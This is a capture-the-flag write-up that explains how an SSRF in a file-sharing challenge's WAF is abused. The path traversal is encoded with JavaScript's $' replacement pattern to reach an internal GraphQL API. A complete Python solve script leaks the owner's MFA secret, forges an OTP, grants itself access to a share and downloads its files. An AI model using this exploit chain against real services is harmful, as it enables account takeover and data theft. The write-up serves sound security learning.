Writeup by Bonfee

Chall 2

Part 1

Abuse the ssrf in the waf to reach the `gql` api in the backend

Code path:

```
// 1
router.get('/:uid/files/:filename') {
    ...
    let url = utils.createBackendUrl(makeShareFileRoute(uid, filename));
    ...
}

// 2
const shareFileRouteTpl = '/shares/:uuid:/files/:filename:/';

function makeShareFileRoute(shareUuid, name) {
  let sanitizedFilename = path.basename(name);
  return shareFileRouteTpl.replace(':uuid:', shareUuid)
    .replace(':filename:', sanitizedFilename);
}

// 3
createBackendUrl: function (uri, query = '') {
    let host = config.BACKEND_HOST;
    let port = config.BACKEND_PORT;
    //FIXME I'm lazy
    //normalize path to remove double slashes not handled by express
    return `http://${host}:${port}${path.normalize('/' + uri)}?${query}`;
}
```

--

By reading `String.replace()` js docs we find the `special replacement patterns`:

```
$$  Inserts a "$".
$&  Inserts the matched substring.
$`  Inserts the portion of the string that precedes the matched substring.
$'  Inserts the portion of the string that follows the matched substring.
$n  Inserts the nth (1-indexed) capturing group where n is a positive
integer less than 100.
$<Name> Inserts the named capturing group where Name is the group name.
```

`$'` is exactly what we need, as it will get replaced with a `/`.
We can encode our payload like this:

```
>>> "../../../../../../..".replace("/", "$'")
"..$'..$'..$'..$'..$'..$'.."
```

Then when `path.normalize()` is called, the `../` inserted by the `String.replace` will get normalized, allowing us to control the url.

Part 2

Once we reached the `gql` api the solution is pretty straight forward:

- Leak the share id
- Leak the owner id of the share
- Leak the owner mfa_secret and generate OTPs
- Using the generated otp give ourself access to the share and download the files

---

`solve.py`

```
import requests, os
import urllib.parse
import jwt

# HOST = "http://127.0.0.1:8080"
HOST = "https://fileshare.fr"


# Register account
token = ""
# token = "..."

if token == "":
    print("[+] Registering")
    username, password = os.urandom(8).hex(), os.urandom(8).hex()
    r = requests.post(f"{HOST}/rest/auth/register", data={"username":
username, "password": username})
    token = requests.post(f"{HOST}/rest/auth/login", data={"username":
username, "password": username}).json()["access_token"]
    print("[+] token:", token)
else:
    username = jwt.decode(token, options={"verify_signature": False})
["username"]

# public_link =
"917a21561b01ce0ff51a064e2362d2c3070192809a3170755d1f385925d8185ee2f8ae9d3d
9ab8c172e9324aae6d9807"
# file_uid = "ef676bd0-d321-40ae-b7e5-f5a88dd2a77b"
```

```
# share_id = "332dd074-60f4-4419-9f3c-28fd302acc86"
# owner_id = "f720ccfb-3748-4ac0-9bd3-62217692513d"

# username = "Hacker"
# role = "user"
# verified = true
# created_at = null

# mfa_secret = "HFCV45YGFUDDGHDEEYYAQRKIDZJXSPT2HELAWZTVPAQB22CVEVSQ"

# second_file_id = "25eb03e5-b116-49b1-a877-206fb095e50a"

print("\n[+] doing\n")

# Leak share id
# query = 'query { fileShare(fileId: "ef676bd0-d321-40ae-b7e5-
f5a88dd2a77b",
shareLink:"917a21561b01ce0ff51a064e2362d2c3070192809a3170755d1f385925d8185e
e2f8ae9d3d9ab8c172e9324aae6d9807") { file { id } } }'

# Leak owner id
# query = 'mutation { giveAccess(otp: "414141", id: "332dd074-60f4-4419-
9f3c-28fd302acc86", username: "' + username + '") { owner { id } } }'

# Get info about user
# Leak username
# query = 'query { user(id: "f720ccfb-3748-4ac0-9bd3-62217692513d") { ...
on PublicUser { username } } }'
# Leak role
# query = 'query { user(id: "f720ccfb-3748-4ac0-9bd3-62217692513d") { ...
on PublicUser { role } } }'
# Leak verified
# query = 'query { user(id: "f720ccfb-3748-4ac0-9bd3-62217692513d") { ...
on PublicUser { verified } } }'
# Leak created_at
# query = 'query { user(id: "f720ccfb-3748-4ac0-9bd3-62217692513d") { ...
on PublicUser { created_at } } }'

# Leak mfa_secret
# query = 'mutation { giveAccess(otp: "414141", id: "332dd074-60f4-4419-
9f3c-28fd302acc86", username: "' + username + '") { owner { ... on User {
mfa_secret } } } }'

# Get otp
# 311349 =
otplib.authenticator.generate("HFCV45YGFUDDGHDEEYYAQRKIDZJXSPT2HELAWZTVPAQB
22CVEVSQ")

# Give ourselves access to the share, returns "OK"
# query = 'mutation { giveAccess(otp: "644386", id: "332dd074-60f4-4419-
9f3c-28fd302acc86", username: "' + username + '") { message } }'

# Download file
```

```
# query = 'query { downloadFile(shareId: "332dd074-60f4-4419-9f3c-
28fd302acc86", fileId: "ef676bd0-d321-40ae-b7e5-f5a88dd2a77b") { metadata {
file { path } } } }'

# Get info about share
# Here we leak a second file id
# query = 'query { share(id: "332dd074-60f4-4419-9f3c-28fd302acc86") {
files } }'

# Download second file
query = 'query { downloadFile(shareId: "332dd074-60f4-4419-9f3c-
28fd302acc86", fileId: "25eb03e5-b116-49b1-a877-206fb095e50a") { content }
}'

endpoint = f"/_dev/gql?_method=POST&query={query}#"

payload = "../../../../../../.."

final = urllib.parse.quote_plus((payload + endpoint).replace("/", "$'"))

r = requests.get(f"{HOST}/rest/shares/AAAAAAAA-AAAA-AAAA-AAAA-
AAAAAAAAAAAA/files/{final}", headers={"Authorization": "Bearer " + token})
print(r.text)
```

Flag

HXN{be0a73cc0886464f158eafc28138292d}